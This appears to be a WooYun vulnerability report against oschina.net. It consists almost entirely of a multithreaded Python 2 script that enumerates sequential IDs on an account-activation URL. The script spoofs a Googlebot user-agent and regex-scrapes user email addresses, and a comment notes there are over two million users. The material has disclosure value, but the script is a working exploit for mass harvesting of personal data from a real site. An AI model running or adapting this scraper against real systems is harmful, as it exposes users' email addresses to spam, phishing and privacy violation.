WooYun.org

http://www.oschina.net/home/activating?id=1

#!/usr/bin/env python
#coding:utf-8
import threading
import re,time
import requests
from Queue import Queue
def getUrl():
    url = []
    for i in xrange(1,50):     #这里就时想要获取多少邮箱了，我看的时候，有两百多万用户吧！
        page = "http://www.oschina.net/home/activating?id=" + str(i)
        url.append(page)
    print "---------------Scan starting---------------"
    return url
class GetMail(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self.headers = {'User-Agent' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +[url]http://www.google.com/bot.html[/url])'}
        self.key = re.compile(r'<td>(.*?@.*?)</td>')
        self.start()
    def run(self):
        while True:
            if con.acquire():
                if self.queue.empty():
                    con.release()
                    break
                else:
                    page = self.queue.get()
                    code = requests.get(page,headers=self.headers).text
                    mail = self.key.findall(code)
                    if len(mail) == 1:
                        print mail[0]
                    else:
                        pass
                con.release()
con = threading.Lock()
def main():
    threads = []
    pages = getUrl()
    queue = Queue()
    for i in range(len(pages)):
        queue.put(pages[i])
    for i in range(50):
        t = GetMail(queue)
        threads.append(t)
    for i in threads:
        i.join()
    print "---------------Scan ebding---------------"
if __name__ == "__main__":
    main()
#url = "http://www.oschina.net/home/activating?id=2293091"
#headers = {'User-Agent' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +[url]http://www.google.com/bot.html[/url])'}
#code = requests.get(url,headers=headers).text
#key = re.compile(r'<td>(.*?@.*?)</td>')
#mail = key.findall(code)
#print mail